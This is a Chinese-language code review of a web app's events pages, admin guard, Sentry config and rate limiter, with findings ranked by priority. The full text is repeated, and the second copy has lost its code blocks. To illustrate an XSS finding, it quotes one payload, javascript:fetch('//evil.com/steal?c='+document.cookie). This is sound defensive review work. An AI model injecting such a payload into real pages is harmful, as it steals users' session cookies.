Context
CR 覆盖本周 4 个大 PR + 若干 fix:
整体代码质量高,注释密度够,踩坑复盘到位。以下是扫出来的改进项,按优先级排。
🔴 P0 · 安全
[P0-1] events 页外链未做 URL scheme 白名单(XSS)
位置:
app/events/[id]/page.tsx:149 speaker.profileUrl → <a href>
app/events/page.tsx:139 event.coverUrl → <img src>
app/events/[id]/page.tsx:113,142,188,205 同上 coverUrl / avatarUrl / playbackUrl / discordLink
风险:管理员或被篡改的后端数据若塞 javascript:fetch('//evil.com/steal?c='+document.cookie),用户点击后在本站 origin 执行 JS,可盗 satoken 冒充用户。
修复:复用 app/u/[username]/page.tsx:243 的 sanitizeExternalUrl(白名单 http/https/mailto),或抽到 lib/url-safety.ts 共享。unsafe 时渲染为纯文本。
🟡 P1 · 体验/健壮性
[P1-1] InterestButton 静默吞异常
位置:app/events/[id]/InterestButton.tsx:77
} catch {
setInterested(prevInterested);
setCount(prevCount);
}
点击失败时数字回滚但没任何错误反馈,用户以为按钮坏了。参考 SettingsForm 的 showToast 模式加 UI 提示。
[P1-2] Sentry 缺 PII 过滤 hook
位置:sentry.client.config.ts / sentry.server.config.ts
目前没配 beforeSend,若 error 上下文带 satoken header / cookie / request body 会原样上报到 Sentry。免费 tier 5K errors/月容易撞配额,合规上也不好。
建议:
beforeSend(event) {
if (event.request?.headers) {
delete event.request.headers.satoken;
delete event.request.headers.cookie;
delete event.request.headers.authorization;
}
return event;
}
🟡 P2 · 改进
[P2-1] EventForm 未校验 endTime > startTime
位置:app/admin/events/EventForm.tsx:38
提交前只 toIso,没校验时间逻辑,能填 endTime < startTime。前后端都加校验最稳妥。
[P2-2] Sentry server config 应该用 SENTRY_DSN 而非 NEXT_PUBLIC_SENTRY_DSN
位置:sentry.server.config.ts:10、sentry.edge.config.ts
NEXT_PUBLIC_ 前缀会打进客户端 bundle——client config 必须这样,但 server/edge 用私有 env 更干净。DSN 本身设计上可公开(类似 Stripe publishable key),只是没必要多暴露一份。
[P2-3] AdminGuard 权限判断依赖 seed 脚本
位置:app/admin/events/AdminGuard.tsx:57
const passes = required === "superadmin"
? roles.includes("superadmin")
: roles.includes("admin");
注释说 "superadmin 在 seed 里也会带 admin"——这依赖 seed 脚本不改。建议显式:
const passes = roles.includes(required) || roles.includes("superadmin");
🟢 P3 · 风格/重构
[P3-1] 全站 <img> 重复 eslint-disable
全站 unoptimized: true 导致所有原生 <img> 都要 // eslint-disable-next-line @next/next/no-img-element。events 页已经出现 6 次。抽成 <SafeImg> 组件(forwardRef,内部 eslint-disable)减少重复。
[P3-2] /events 和 /events/[id] 可以 Suspense 化
两个页面都在 await fetchEvents() 阻塞 HTML flush,和之前修 HotDocsPreview 同款问题。虽然有 revalidate: 300 缓存,但 cache miss 仍阻塞。影响不大可以缓做。
[P3-3] rate-limit.ts Redis 实例重复创建
位置:lib/rate-limit.ts:36-54
三个 getChatLimiter / getChatImageLimiter / getDailyLimiter 各自调 getRedis(),会建 3 个 Redis 客户端。加一个 module-level cachedRedis 复用。影响极小(都是 HTTP)。
✅ 点赞(不用动)
- Rate-limit IP 防伪造 (
lib/rate-limit.ts:109-123):x-real-ip 优先 + XFF 取最后一个 trusted proxy 值,避开 parts[0] 坑
- YouTube host 严格白名单 (
app/events/[id]/page.tsx:260-268):精确匹配 + .youtube.com 子域,没踩 evilyoutube.com 的 endsWith 坑
- pgAdmin iframe 踩坑复盘 (
app/admin/database/page.tsx:1-18):跨域 CSRF + 同源代理 host 重定向两种死法都写在注释里
- Sentry 按 runtime 分 config (
instrumentation.ts):符合 Next.js 15 约定
- syncTokenCookie 的 Secure/Domain/SameSite 组合正确:localhost 不写 Domain,https 才加 Secure
- rate-limit warn 单例化 (
hasWarnedMissingUpstash):不刷日志——Copilot CR 修出来的
📋 验证计划(待 owner 自己找时间做)
| 级别 |
条目 |
预估工作量 |
| 🔴 P0 |
P0-1 events 外链过滤 |
10 分钟(复用 sanitizeExternalUrl) |
| 🟡 P1 |
P1-1 InterestButton 错误提示 |
10 分钟 |
| 🟡 P1 |
P1-2 Sentry beforeSend |
5 分钟 |
| 🟡 P2 |
P2-1 EventForm 时间校验 |
5 分钟 |
| 🟡 P2 |
P2-2 Sentry DSN env 改名 |
2 分钟 |
| 🟡 P2 |
P2-3 AdminGuard 逻辑显式化 |
2 分钟 |
| 🟢 P3 |
P3-1 SafeImg 组件 |
20 分钟(repetitive) |
| 🟢 P3 |
P3-2 events Suspense |
15 分钟 |
| 🟢 P3 |
P3-3 Redis 单例 |
5 分钟 |
总工作量:~1.5 小时(不含 P0/P1 的回归测试)。
Context
CR 覆盖本周 4 个大 PR + 若干 fix:
整体代码质量高,注释密度够,踩坑复盘到位。以下是扫出来的改进项,按优先级排。
🔴 P0 · 安全
[P0-1] events 页外链未做 URL scheme 白名单(XSS)
位置:
app/events/[id]/page.tsx:149speaker.profileUrl →<a href>app/events/page.tsx:139event.coverUrl →<img src>app/events/[id]/page.tsx:113,142,188,205同上 coverUrl / avatarUrl / playbackUrl / discordLink风险:管理员或被篡改的后端数据若塞
javascript:fetch('//evil.com/steal?c='+document.cookie),用户点击后在本站 origin 执行 JS,可盗 satoken 冒充用户。修复:复用
app/u/[username]/page.tsx:243的sanitizeExternalUrl(白名单 http/https/mailto),或抽到lib/url-safety.ts共享。unsafe 时渲染为纯文本。🟡 P1 · 体验/健壮性
[P1-1] InterestButton 静默吞异常
位置:
app/events/[id]/InterestButton.tsx:77点击失败时数字回滚但没任何错误反馈,用户以为按钮坏了。参考
SettingsForm的 showToast 模式加 UI 提示。[P1-2] Sentry 缺 PII 过滤 hook
位置:
sentry.client.config.ts/sentry.server.config.ts目前没配
beforeSend,若 error 上下文带satokenheader / cookie / request body 会原样上报到 Sentry。免费 tier 5K errors/月容易撞配额,合规上也不好。建议:
🟡 P2 · 改进
[P2-1] EventForm 未校验 endTime > startTime
位置:
app/admin/events/EventForm.tsx:38提交前只 toIso,没校验时间逻辑,能填 endTime < startTime。前后端都加校验最稳妥。
[P2-2] Sentry server config 应该用
SENTRY_DSN而非NEXT_PUBLIC_SENTRY_DSN位置:
sentry.server.config.ts:10、sentry.edge.config.tsNEXT_PUBLIC_前缀会打进客户端 bundle——client config 必须这样,但 server/edge 用私有 env 更干净。DSN 本身设计上可公开(类似 Stripe publishable key),只是没必要多暴露一份。[P2-3] AdminGuard 权限判断依赖 seed 脚本
位置:
app/admin/events/AdminGuard.tsx:57注释说 "superadmin 在 seed 里也会带 admin"——这依赖 seed 脚本不改。建议显式:
🟢 P3 · 风格/重构
[P3-1] 全站
<img>重复 eslint-disable全站
unoptimized: true导致所有原生<img>都要// eslint-disable-next-line @next/next/no-img-element。events 页已经出现 6 次。抽成<SafeImg>组件(forwardRef,内部 eslint-disable)减少重复。[P3-2] /events 和 /events/[id] 可以 Suspense 化
两个页面都在
await fetchEvents()阻塞 HTML flush,和之前修HotDocsPreview同款问题。虽然有revalidate: 300缓存,但 cache miss 仍阻塞。影响不大可以缓做。[P3-3] rate-limit.ts Redis 实例重复创建
位置:
lib/rate-limit.ts:36-54三个
getChatLimiter / getChatImageLimiter / getDailyLimiter各自调getRedis(),会建 3 个 Redis 客户端。加一个 module-levelcachedRedis复用。影响极小(都是 HTTP)。✅ 点赞(不用动)
lib/rate-limit.ts:109-123):x-real-ip 优先 + XFF 取最后一个 trusted proxy 值,避开 parts[0] 坑app/events/[id]/page.tsx:260-268):精确匹配 + .youtube.com 子域,没踩 evilyoutube.com 的 endsWith 坑app/admin/database/page.tsx:1-18):跨域 CSRF + 同源代理 host 重定向两种死法都写在注释里instrumentation.ts):符合 Next.js 15 约定hasWarnedMissingUpstash):不刷日志——Copilot CR 修出来的📋 验证计划(待 owner 自己找时间做)
总工作量:~1.5 小时(不含 P0/P1 的回归测试)。